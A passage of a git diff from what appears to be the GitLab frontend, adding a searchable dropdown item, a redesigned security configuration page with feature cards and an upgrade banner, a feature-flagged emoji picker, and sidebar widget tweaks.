+ :is-check-centered="true"
+ @click="updateDropdown($options.ANY_OPTION)"
>
- {{ $options.ANY_OPTION.name }}
+ <span data-testid="item-title">{{ $options.ANY_OPTION.name }}</span>
</gl-dropdown-item>
</div>
<div v-if="!loading">
- <gl-dropdown-item
+ <searchable-dropdown-item
v-for="item in items"
:key="item.id"
- :is-check-item="true"
- :is-checked="isSelected(item)"
- @click="$emit('change', item)"
- >
- {{ item[itemsDisplayValue] }}
- </gl-dropdown-item>
+ :item="item"
+ :selected-item="selectedItem"
+ :search-text="searchText"
+ :name="name"
+ :full-name="fullName"
+ @change="updateDropdown"
+ />
</div>
<div v-if="loading" class="gl-mx-4 gl-mt-3">
<gl-skeleton-loader :height="100">
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue
new file mode 100644
index 00000000000..498d4af59b4
--- /dev/null
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue
@@ -0,0 +1,73 @@
+<script>
+import { GlDropdownItem, GlAvatar } from '@gitlab/ui';
+import highlight from '~/lib/utils/highlight';
+import { truncateNamespace } from '~/lib/utils/text_utility';
+
+export default {
+ name: 'SearchableDropdownItem',
+ components: {
+ GlDropdownItem,
+ GlAvatar,
+ },
+ props: {
+ item: {
+ type: Object,
+ required: true,
+ },
+ selectedItem: {
+ type: Object,
+ required: true,
+ },
+ searchText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ name: {
+ type: String,
+ required: true,
+ },
+ fullName: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ isSelected() {
+ return this.item.id === this.selectedItem.id;
+ },
+ truncatedNamespace() {
+ return truncateNamespace(this.item[this.fullName]);
+ },
+ highlightedItemName() {
+ return highlight(this.item[this.name], this.searchText);
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown-item
+ :is-check-item="true"
+ :is-checked="isSelected"
+ :is-check-centered="true"
+ @click="$emit('change', item)"
+ >
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-avatar
+ :src="item.avatar_url"
+ :entity-id="item.id"
+ :entity-name="item[name]"
+ shape="rect"
+ :size="32"
+ />
+ <div class="gl-display-flex gl-flex-direction-column">
+ <!-- eslint-disable-next-line vue/no-v-html -->
+ <span data-testid="item-title" v-html="highlightedItemName">{{ item[name] }}</span>
+ <span class="gl-font-sm gl-text-gray-700" data-testid="item-namespace">{{
+ truncatedNamespace
+ }}</span>
+ </div>
+ </div>
+ </gl-dropdown-item>
+</template>
diff --git a/app/assets/javascripts/search/topbar/constants.js b/app/assets/javascripts/search/topbar/constants.js
index 3944b2c8374..dc040fdef34 100644
--- a/app/assets/javascripts/search/topbar/constants.js
+++ b/app/assets/javascripts/search/topbar/constants.js
@@ -9,13 +9,13 @@ export const ANY_OPTION = Object.freeze({
export const GROUP_DATA = {
headerText: __('Filter results by group'),
queryParam: 'group_id',
- selectedDisplayValue: 'name',
- itemsDisplayValue: 'full_name',
+ name: 'name',
+ fullName: 'full_name',
};
export const PROJECT_DATA = {
headerText: __('Filter results by project'),
queryParam: 'project_id',
- selectedDisplayValue: 'name_with_namespace',
- itemsDisplayValue: 'name_with_namespace',
+ name: 'name',
+ fullName: 'name_with_namespace',
};
diff --git a/app/assets/javascripts/security_configuration/components/constants.js b/app/assets/javascripts/security_configuration/components/constants.js
index 3cdcac4c0b4..142dade914b 100644
--- a/app/assets/javascripts/security_configuration/components/constants.js
+++ b/app/assets/javascripts/security_configuration/components/constants.js
@@ -18,18 +18,27 @@ import {
* Translations & helpPagePaths for Static Security Configuration Page
*/
export const SAST_NAME = __('Static Application Security Testing (SAST)');
+export const SAST_SHORT_NAME = s__('ciReport|SAST');
export const SAST_DESCRIPTION = __('Analyze your source code for known vulnerabilities.');
export const SAST_HELP_PATH = helpPagePath('user/application_security/sast/index');
+export const SAST_CONFIG_HELP_PATH = helpPagePath('user/application_security/sast/index', {
+ anchor: 'configuration',
+});
export const DAST_NAME = __('Dynamic Application Security Testing (DAST)');
+export const DAST_SHORT_NAME = s__('ciReport|DAST');
export const DAST_DESCRIPTION = __('Analyze a review version of your web application.');
export const DAST_HELP_PATH = helpPagePath('user/application_security/dast/index');
+export const DAST_CONFIG_HELP_PATH = helpPagePath('user/application_security/dast/index', {
+ anchor: 'enable-dast',
+});
export const DAST_PROFILES_NAME = __('DAST Scans');
export const DAST_PROFILES_DESCRIPTION = __(
'Saved scan settings and target site settings which are reusable.',
);
export const DAST_PROFILES_HELP_PATH = helpPagePath('user/application_security/dast/index');
+export const DAST_PROFILES_CONFIG_TEXT = s__('SecurityConfiguration|Manage scans');
export const SECRET_DETECTION_NAME = __('Secret Detection');
export const SECRET_DETECTION_DESCRIPTION = __(
@@ -38,6 +47,10 @@ export const SECRET_DETECTION_DESCRIPTION = __(
export const SECRET_DETECTION_HELP_PATH = helpPagePath(
'user/application_security/secret_detection/index',
);
+export const SECRET_DETECTION_CONFIG_HELP_PATH = helpPagePath(
+ 'user/application_security/secret_detection/index',
+ { anchor: 'configuration' },
+);
export const DEPENDENCY_SCANNING_NAME = __('Dependency Scanning');
export const DEPENDENCY_SCANNING_DESCRIPTION = __(
@@ -46,6 +59,10 @@ export const DEPENDENCY_SCANNING_DESCRIPTION = __(
export const DEPENDENCY_SCANNING_HELP_PATH = helpPagePath(
'user/application_security/dependency_scanning/index',
);
+export const DEPENDENCY_SCANNING_CONFIG_HELP_PATH = helpPagePath(
+ 'user/application_security/dependency_scanning/index',
+ { anchor: 'configuration' },
+);
export const CONTAINER_SCANNING_NAME = __('Container Scanning');
export const CONTAINER_SCANNING_DESCRIPTION = __(
@@ -54,6 +71,10 @@ export const CONTAINER_SCANNING_DESCRIPTION = __(
export const CONTAINER_SCANNING_HELP_PATH = helpPagePath(
'user/application_security/container_scanning/index',
);
+export const CONTAINER_SCANNING_CONFIG_HELP_PATH = helpPagePath(
+ 'user/application_security/container_scanning/index',
+ { anchor: 'configuration' },
+);
export const COVERAGE_FUZZING_NAME = __('Coverage Fuzzing');
export const COVERAGE_FUZZING_DESCRIPTION = __(
@@ -136,6 +157,83 @@ export const scanners = [
},
];
+export const securityFeatures = [
+ {
+ name: SAST_NAME,
+ shortName: SAST_SHORT_NAME,
+ description: SAST_DESCRIPTION,
+ helpPath: SAST_HELP_PATH,
+ configurationHelpPath: SAST_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_SAST,
+ // This field is currently hardcoded because SAST is always available.
+ // It will eventually come from the Backend, the progress is tracked in
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/331622
+ available: true,
+
+ // This field is currently hardcoded because SAST can always be enabled via MR
+ // It will eventually come from the Backend, the progress is tracked in
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/331621
+ canEnableByMergeRequest: true,
+ },
+ {
+ name: DAST_NAME,
+ shortName: DAST_SHORT_NAME,
+ description: DAST_DESCRIPTION,
+ helpPath: DAST_HELP_PATH,
+ configurationHelpPath: DAST_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_DAST,
+ secondary: {
+ type: REPORT_TYPE_DAST_PROFILES,
+ name: DAST_PROFILES_NAME,
+ description: DAST_PROFILES_DESCRIPTION,
+ configurationText: DAST_PROFILES_CONFIG_TEXT,
+ },
+ },
+ {
+ name: DEPENDENCY_SCANNING_NAME,
+ description: DEPENDENCY_SCANNING_DESCRIPTION,
+ helpPath: DEPENDENCY_SCANNING_HELP_PATH,
+ configurationHelpPath: DEPENDENCY_SCANNING_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_DEPENDENCY_SCANNING,
+ },
+ {
+ name: CONTAINER_SCANNING_NAME,
+ description: CONTAINER_SCANNING_DESCRIPTION,
+ helpPath: CONTAINER_SCANNING_HELP_PATH,
+ configurationHelpPath: CONTAINER_SCANNING_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_CONTAINER_SCANNING,
+ },
+ {
+ name: SECRET_DETECTION_NAME,
+ description: SECRET_DETECTION_DESCRIPTION,
+ helpPath: SECRET_DETECTION_HELP_PATH,
+ configurationHelpPath: SECRET_DETECTION_CONFIG_HELP_PATH,
+ type: REPORT_TYPE_SECRET_DETECTION,
+ available: true,
+ },
+ {
+ name: API_FUZZING_NAME,
+ description: API_FUZZING_DESCRIPTION,
+ helpPath: API_FUZZING_HELP_PATH,
+ type: REPORT_TYPE_API_FUZZING,
+ },
+ {
+ name: COVERAGE_FUZZING_NAME,
+ description: COVERAGE_FUZZING_DESCRIPTION,
+ helpPath: COVERAGE_FUZZING_HELP_PATH,
+ type: REPORT_TYPE_COVERAGE_FUZZING,
+ },
+];
+
+export const complianceFeatures = [
+ {
+ name: LICENSE_COMPLIANCE_NAME,
+ description: LICENSE_COMPLIANCE_DESCRIPTION,
+ helpPath: LICENSE_COMPLIANCE_HELP_PATH,
+ type: REPORT_TYPE_LICENSE_COMPLIANCE,
+ },
+];
+
export const featureToMutationMap = {
[REPORT_TYPE_SAST]: {
mutationId: 'configureSast',
diff --git a/app/assets/javascripts/security_configuration/components/redesigned_app.vue b/app/assets/javascripts/security_configuration/components/redesigned_app.vue
new file mode 100644
index 00000000000..d8a12f4a792
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/components/redesigned_app.vue
@@ -0,0 +1,147 @@
+<script>
+import { GlTab, GlTabs, GlSprintf, GlLink } from '@gitlab/ui';
+import { __, s__ } from '~/locale';
+import UserCalloutDismisser from '~/vue_shared/components/user_callout_dismisser.vue';
+import FeatureCard from './feature_card.vue';
+import SectionLayout from './section_layout.vue';
+import UpgradeBanner from './upgrade_banner.vue';
+
+export const i18n = {
+ compliance: s__('SecurityConfiguration|Compliance'),
+ securityTesting: s__('SecurityConfiguration|Security testing'),
+ securityTestingDescription: s__(
+ `SecurityConfiguration|The status of the tools only applies to the
+ default branch and is based on the %{linkStart}latest pipeline%{linkEnd}.
+ Once you've enabled a scan for the default branch, any subsequent feature
+ branch you create will include the scan.`,
+ ),
+ securityConfiguration: __('Security Configuration'),
+};
+
+export default {
+ i18n,
+ components: {
+ GlTab,
+ GlLink,
+ GlTabs,
+ GlSprintf,
+ FeatureCard,
+ SectionLayout,
+ UpgradeBanner,
+ UserCalloutDismisser,
+ },
+ props: {
+ augmentedSecurityFeatures: {
+ type: Array,
+ required: true,
+ },
+ augmentedComplianceFeatures: {
+ type: Array,
+ required: true,
+ },
+ gitlabCiPresent: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ gitlabCiHistoryPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ latestPipelinePath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ computed: {
+ canUpgrade() {
+ return [...this.augmentedSecurityFeatures, ...this.augmentedComplianceFeatures].some(
+ ({ available }) => !available,
+ );
+ },
+ canViewCiHistory() {
+ return Boolean(this.gitlabCiPresent && this.gitlabCiHistoryPath);
+ },
+ },
+};
+</script>
+
+<template>
+ <article>
+ <header>
+ <h1 class="gl-font-size-h1">{{ $options.i18n.securityConfiguration }}</h1>
+ </header>
+
+ <user-callout-dismisser v-if="canUpgrade" feature-name="security_configuration_upgrade_banner">
+ <template #default="{ dismiss, shouldShowCallout }">
+ <upgrade-banner v-if="shouldShowCallout" @close="dismiss" />
+ </template>
+ </user-callout-dismisser>
+
+ <gl-tabs content-class="gl-pt-6">
+ <gl-tab data-testid="security-testing-tab" :title="$options.i18n.securityTesting">
+ <section-layout :heading="$options.i18n.securityTesting">
+ <template #description>
+ <p
+ v-if="latestPipelinePath"
+ data-testid="latest-pipeline-info-security"
+ class="gl-line-height-20"
+ >
+ <gl-sprintf :message="$options.i18n.securityTestingDescription">
+ <template #link="{ content }">
+ <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p v-if="canViewCiHistory">
+ <gl-link data-testid="security-view-history-link" :href="gitlabCiHistoryPath">{{
+ $options.i18n.configurationHistory
+ }}</gl-link>
+ </p>
+ </template>
+
+ <template #features>
+ <feature-card
+ v-for="feature in augmentedSecurityFeatures"
+ :key="feature.type"
+ :feature="feature"
+ class="gl-mb-6"
+ />
+ </template>
+ </section-layout>
+ </gl-tab>
+ <gl-tab data-testid="compliance-testing-tab" :title="$options.i18n.compliance">
+ <section-layout :heading="$options.i18n.compliance">
+ <template #description>
+ <p
+ v-if="latestPipelinePath"
+ class="gl-line-height-20"
+ data-testid="latest-pipeline-info-compliance"
+ >
+ <gl-sprintf :message="$options.i18n.securityTestingDescription">
+ <template #link="{ content }">
+ <gl-link :href="latestPipelinePath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ <p v-if="canViewCiHistory">
+ <gl-link data-testid="compliance-view-history-link" :href="gitlabCiHistoryPath">{{
+ $options.i18n.configurationHistory
+ }}</gl-link>
+ </p>
+ </template>
+ <template #features>
+ <feature-card
+ v-for="feature in augmentedComplianceFeatures"
+ :key="feature.type"
+ :feature="feature"
+ class="gl-mb-6"
+ />
+ </template>
+ </section-layout>
+ </gl-tab>
+ </gl-tabs>
+ </article>
+</template>
diff --git a/app/assets/javascripts/security_configuration/components/section_layout.vue b/app/assets/javascripts/security_configuration/components/section_layout.vue
new file mode 100644
index 00000000000..1e1f83a6d99
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/components/section_layout.vue
@@ -0,0 +1,23 @@
+<script>
+export default {
+ name: 'SectionLayout',
+ props: {
+ heading: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="row">
+ <div class="col-lg-5">
+ <h2 class="gl-font-size-h2 gl-mt-0">{{ heading }}</h2>
+ <slot name="description"></slot>
+ </div>
+ <div class="col-lg-7">
+ <slot name="features"></slot>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/security_configuration/components/upgrade_banner.vue b/app/assets/javascripts/security_configuration/components/upgrade_banner.vue
new file mode 100644
index 00000000000..ca0f9e5c85a
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/components/upgrade_banner.vue
@@ -0,0 +1,45 @@
+<script>
+import { GlBanner } from '@gitlab/ui';
+import { s__ } from '~/locale';
+
+export default {
+ components: {
+ GlBanner,
+ },
+ inject: ['upgradePath'],
+ i18n: {
+ title: s__('SecurityConfiguration|Secure your project with Ultimate'),
+ bodyStart: s__(
+ `SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities
+ that may lead to unauthorized access, data leaks, and denial of service
+ attacks. Its features include:`,
+ ),
+ bodyListItems: [
+ s__('SecurityConfiguration|Vulnerability details and statistics in the merge request.'),
+ s__('SecurityConfiguration|High-level vulnerability statistics across projects and groups.'),
+ s__('SecurityConfiguration|Runtime security metrics for application environments.'),
+ ],
+ bodyEnd: s__(
+ 'SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab.',
+ ),
+ buttonText: s__('SecurityConfiguration|Upgrade or start a free trial'),
+ },
+};
+</script>
+
+<template>
+ <gl-banner
+ :title="$options.i18n.title"
+ :button-text="$options.i18n.buttonText"
+ :button-link="upgradePath"
+ v-on="$listeners"
+ >
+ <p>{{ $options.i18n.bodyStart }}</p>
+ <ul>
+ <li v-for="bodyListItem in $options.i18n.bodyListItems" :key="bodyListItem">
+ {{ bodyListItem }}
+ </li>
+ </ul>
+ <p>{{ $options.i18n.bodyEnd }}</p>
+ </gl-banner>
+</template>
diff --git a/app/assets/javascripts/security_configuration/index.js b/app/assets/javascripts/security_configuration/index.js
index 1134a1ffb44..e1dc6f24737 100644
--- a/app/assets/javascripts/security_configuration/index.js
+++ b/app/assets/javascripts/security_configuration/index.js
@@ -1,7 +1,11 @@
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
+import { parseBooleanDataAttributes } from '~/lib/utils/dom_utils';
import SecurityConfigurationApp from './components/app.vue';
+import { securityFeatures, complianceFeatures } from './components/constants';
+import RedesignedSecurityConfigurationApp from './components/redesigned_app.vue';
+import { augmentFeatures } from './utils';
export const initStaticSecurityConfiguration = (el) => {
if (!el) {
@@ -14,8 +18,41 @@ export const initStaticSecurityConfiguration = (el) => {
defaultClient: createDefaultClient(),
});
- const { projectPath, upgradePath } = el.dataset;
+ const {
+ projectPath,
+ upgradePath,
+ features,
+ latestPipelinePath,
+ gitlabCiHistoryPath,
+ } = el.dataset;
+ if (gon.features.securityConfigurationRedesign) {
+ const { augmentedSecurityFeatures, augmentedComplianceFeatures } = augmentFeatures(
+ securityFeatures,
+ complianceFeatures,
+ features ? JSON.parse(features) : [],
+ );
+
+ return new Vue({
+ el,
+ apolloProvider,
+ provide: {
+ projectPath,
+ upgradePath,
+ },
+ render(createElement) {
+ return createElement(RedesignedSecurityConfigurationApp, {
+ props: {
+ augmentedComplianceFeatures,
+ augmentedSecurityFeatures,
+ latestPipelinePath,
+ gitlabCiHistoryPath,
+ ...parseBooleanDataAttributes(el, ['gitlabCiPresent']),
+ },
+ });
+ },
+ });
+ }
return new Vue({
el,
apolloProvider,
diff --git a/app/assets/javascripts/security_configuration/utils.js b/app/assets/javascripts/security_configuration/utils.js
new file mode 100644
index 00000000000..071ebff4f21
--- /dev/null
+++ b/app/assets/javascripts/security_configuration/utils.js
@@ -0,0 +1,24 @@
+export const augmentFeatures = (securityFeatures, complianceFeatures, features = []) => {
+ const featuresByType = features.reduce((acc, feature) => {
+ acc[feature.type] = feature;
+ return acc;
+ }, {});
+
+ const augmentFeature = (feature) => {
+ const augmented = {
+ ...feature,
+ ...featuresByType[feature.type],
+ };
+
+ if (augmented.secondary) {
+ augmented.secondary = { ...augmented.secondary, ...featuresByType[feature.secondary.type] };
+ }
+
+ return augmented;
+ };
+
+ return {
+ augmentedSecurityFeatures: securityFeatures.map((feature) => augmentFeature(feature)),
+ augmentedComplianceFeatures: complianceFeatures.map((feature) => augmentFeature(feature)),
+ };
+};
diff --git a/app/assets/javascripts/serverless/components/empty_state.vue b/app/assets/javascripts/serverless/components/empty_state.vue
index 49922ad8e6c..8a5ed9debb3 100644
--- a/app/assets/javascripts/serverless/components/empty_state.vue
+++ b/app/assets/javascripts/serverless/components/empty_state.vue
@@ -9,7 +9,7 @@ export default {
GlSprintf,
},
computed: {
- ...mapState(['clustersPath', 'emptyImagePath', 'helpPath']),
+ ...mapState(['emptyImagePath', 'helpPath']),
},
};
</script>
@@ -18,8 +18,6 @@ export default {
<gl-empty-state
:svg-path="emptyImagePath"
:title="s__('Serverless|Getting started with serverless')"
- :primary-button-link="clustersPath"
- :primary-button-text="s__('Serverless|Install Knative')"
>
<template #description>
<gl-sprintf
diff --git a/app/assets/javascripts/serverless/components/missing_prometheus.vue b/app/assets/javascripts/serverless/components/missing_prometheus.vue
index 0b83d4b36eb..0023c64e3e4 100644
--- a/app/assets/javascripts/serverless/components/missing_prometheus.vue
+++ b/app/assets/javascripts/serverless/components/missing_prometheus.vue
@@ -26,7 +26,7 @@ export default {
return this.missingData
? s__(`ServerlessDetails|Invocation metrics loading or not available at this time.`)
: s__(
- `ServerlessDetails|Function invocation metrics require Prometheus to be installed first.`,
+ `ServerlessDetails|Function invocation metrics require the Prometheus cluster integration.`,
);
},
},
@@ -48,7 +48,7 @@ export default {
<div v-if="!missingData" class="text-left">
<gl-button :href="clustersPath" variant="success" category="primary">
- {{ s__('ServerlessDetails|Install Prometheus') }}
+ {{ s__('ServerlessDetails|Configure cluster.') }}
</gl-button>
</div>
</div>
diff --git a/app/assets/javascripts/serverless/store/actions.js b/app/assets/javascripts/serverless/store/actions.js
index a6c0380a789..166cd796680 100644
--- a/app/assets/javascripts/serverless/store/actions.js
+++ b/app/assets/javascripts/serverless/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { backOff } from '~/lib/utils/common_utils';
import statusCodes from '~/lib/utils/http_status';
@@ -59,7 +59,9 @@ export const fetchFunctions = ({ dispatch }, { functionsPath }) => {
.then((data) => {
if (data === TIMEOUT) {
dispatch('receiveFunctionsTimeout');
- createFlash(__('Loading functions timed out. Please reload the page to try again.'));
+ createFlash({
+ message: __('Loading functions timed out. Please reload the page to try again.'),
+ });
} else if (data.functions !== null && data.functions.length) {
dispatch('receiveFunctionsSuccess', data);
} else {
@@ -68,7 +70,9 @@ export const fetchFunctions = ({ dispatch }, { functionsPath }) => {
})
.catch((error) => {
dispatch('receiveFunctionsError', error);
- createFlash(error);
+ createFlash({
+ message: error,
+ });
});
};
@@ -120,6 +124,8 @@ export const fetchMetrics = ({ dispatch }, { metricsPath, hasPrometheus }) => {
})
.catch((error) => {
dispatch('receiveMetricsError', error);
- createFlash(error);
+ createFlash({
+ message: error,
+ });
});
};
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index c754af5c7de..e522e3ff408 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -13,11 +13,12 @@ import $ from 'jquery';
import Vue from 'vue';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
import * as Emoji from '~/emoji';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
import { __, s__, sprintf } from '~/locale';
import { updateUserStatus } from '~/rest_api';
import { timeRanges } from '~/vue_shared/constants';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import EmojiMenuInModal from './emoji_menu_in_modal';
import { isUserBusy } from './utils';
@@ -44,10 +45,12 @@ export default {
GlFormCheckbox,
GlDropdown,
GlDropdownItem,
+ EmojiPicker: () => import('~/emoji/components/picker.vue'),
},
directives: {
GlTooltip: GlTooltipDirective,
},
+ mixins: [glFeatureFlagsMixin()],
props: {
defaultEmoji: {
type: String,
@@ -102,7 +105,9 @@ export default {
this.$root.$emit(BV_SHOW_MODAL, this.modalId);
},
beforeDestroy() {
- this.emojiMenu.destroy();
+ if (this.emojiMenu) {
+ this.emojiMenu.destroy();
+ }
},
methods: {
closeModal() {
@@ -121,16 +126,23 @@ export default {
this.noEmoji = this.emoji === '';
this.defaultEmojiTag = Emoji.glEmojiTag(this.defaultEmoji);
- this.emojiMenu = new EmojiMenuInModal(
- Emoji,
- toggleEmojiMenuButtonSelector,
- emojiMenuClass,
- this.setEmoji,
- this.$refs.userStatusForm,
- );
+ if (!this.glFeatures.improvedEmojiPicker) {
+ this.emojiMenu = new EmojiMenuInModal(
+ Emoji,
+ toggleEmojiMenuButtonSelector,
+ emojiMenuClass,
+ this.setEmoji,
+ this.$refs.userStatusForm,
+ );
+ }
+
this.setDefaultEmoji();
})
- .catch(() => createFlash(__('Failed to load emoji list.')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to load emoji list.'),
+ }),
+ );
},
showEmojiMenu(e) {
e.stopPropagation();
@@ -164,7 +176,12 @@ export default {
this.emoji = emoji;
this.noEmoji = false;
this.clearEmoji();
- this.emojiTag = emojiTag;
+
+ if (this.glFeatures.improvedEmojiPicker) {
+ this.emojiTag = Emoji.glEmojiTag(this.emoji);
+ } else {
+ this.emojiTag = emojiTag;
+ }
},
clearEmoji() {
if (this.emojiTag) {
@@ -204,9 +221,11 @@ export default {
window.location.reload();
},
onUpdateFail() {
- createFlash(
- s__("SetStatusModal|Sorry, we weren't able to set your status. Please try again later."),
- );
+ createFlash({
+ message: s__(
+ "SetStatusModal|Sorry, we weren't able to set your status. Please try again later.",
+ ),
+ });
this.closeModal();
},
@@ -241,7 +260,26 @@ export default {
<div ref="userStatusForm" class="form-group position-relative m-0">
<div class="input-group gl-mb-5">
<span class="input-group-prepend">
+ <emoji-picker
+ v-if="glFeatures.improvedEmojiPicker"
+ dropdown-class="gl-h-full"
+ toggle-class="btn emoji-menu-toggle-button gl-px-4! gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
+ @click="setEmoji"
+ >
+ <template #button-content>
+ <span v-html="emojiTag"></span>
+ <span
+ v-show="noEmoji"
+ class="js-no-emoji-placeholder no-emoji-placeholder position-relative"
+ >
+ <gl-icon name="slight-smile" class="award-control-icon-neutral" />
+ <gl-icon name="smiley" class="award-control-icon-positive" />
+ <gl-icon name="smile" class="award-control-icon-super-positive" />
+ </span>
+ </template>
+ </emoji-picker>
<button
+ v-else
ref="toggleEmojiMenuButton"
v-gl-tooltip.bottom.hover
:title="s__('SetStatusModal|Add status emoji')"
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
index 26e88523abb..adb573db652 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_title.vue
@@ -45,7 +45,7 @@ export default {
};
</script>
<template>
- <div class="title hide-collapsed">
+ <div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ assigneeTitle }}
<gl-loading-icon v-if="loading" inline class="align-bottom" />
<a
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignees.vue b/app/assets/javascripts/sidebar/components/assignees/assignees.vue
index c3c009e680a..e41bb41dc05 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignees.vue
@@ -48,17 +48,15 @@ export default {
<collapsed-assignee-list :users="sortedAssigness" :issuable-type="issuableType" />
<div data-testid="expanded-assignee" class="value hide-collapsed">
- <template v-if="hasNoUsers">
- <span class="assign-yourself no-value">
- {{ __('None') }}
- <template v-if="editable">
- -
- <button type="button" class="btn-link" @click="assignSelf">
- {{ __('assign yourself') }}
- </button>
- </template>
- </span>
- </template>
+ <span v-if="hasNoUsers" class="no-value" data-testid="no-value">
+ {{ __('None') }}
+ <template v-if="editable">
+ -
+ <button type="button" class="btn-link" data-testid="assign-yourself" @click="assignSelf">
+ {{ __('assign yourself') }}
+ </button>
+ </template>
+ </span>
<uncollapsed-assignee-list v-else :users="sortedAssigness" :issuable-type="issuableType" />
</div>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
index ca95599742a..9840aa4ed66 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
@@ -149,7 +149,6 @@ export default {
:users="exposeAvailabilityStatus(store.assignees)"
:editable="store.editable"
:issuable-type="issuableType"
- class="value"
@assign-self="assignSelf"
/>
</div>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
index 932be7addc0..d9a974202a3 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
@@ -61,7 +61,7 @@ export default {
required: false,
default: IssuableType.Issue,
validator(value) {
- return [IssuableType.Issue, IssuableType.MergeRequest].includes(value);
+ return [IssuableType.Issue, IssuableType.MergeRequest, IssuableType.Alert].includes(value);
},
},
issuableId: {
@@ -229,7 +229,7 @@ export default {
@expand-widget="expandWidget"
/>
</template>
- <template #default>
+ <template #default="{ edit }">
<user-select
ref="userSelect"
v-model="selected"
@@ -240,6 +240,7 @@ export default {
:allow-multiple-assignees="allowMultipleAssignees"
:current-user="currentUser"
:issuable-type="issuableType"
+ :is-editing="edit"
class="gl-w-full dropdown-menu-user"
@toggle="collapseWidget"
@error="showError"
@@ -247,7 +248,7 @@ export default {
>
<template #footer>
<gl-dropdown-item v-if="directlyInviteMembers">
- <sidebar-invite-members />
+ <sidebar-invite-members :issuable-type="issuableType" />
</gl-dropdown-item> </template
></user-select>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue
index 5c32d03e0d4..8ef65ef7308 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue
@@ -9,6 +9,17 @@ export default {
components: {
InviteMembersTrigger,
},
+ props: {
+ issuableType: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ triggerSource() {
+ return `${this.issuableType}-assignee-dropdown`;
+ },
+ },
};
</script>
@@ -18,6 +29,7 @@ export default {
:display-text="$options.displayText"
:event="$options.dataTrackEvent"
:label="$options.dataTrackLabel"
+ :trigger-source="triggerSource"
classes="gl-display-block gl-pl-6 gl-hover-text-decoration-none gl-hover-text-blue-800!"
/>
</template>
diff --git a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
index 6a68e914b84..c3dfa5f8b14 100644
--- a/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
+++ b/app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue
@@ -112,6 +112,9 @@ export default {
dateValue() {
return this.issuable?.[this.dateType] || null;
},
+ firstDay() {
+ return gon.first_day_of_week;
+ },
isLoading() {
return this.$apollo.queries.issuable.loading || this.loading;
},
@@ -286,6 +289,7 @@ export default {
ref="datePicker"
class="gl-relative"
:default-date="parsedDate"
+ :first-day="firstDay"
show-clear-button
autocomplete="off"
@input="setDate"
diff --git a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
index c9b6616e067..b7832ca679c 100644
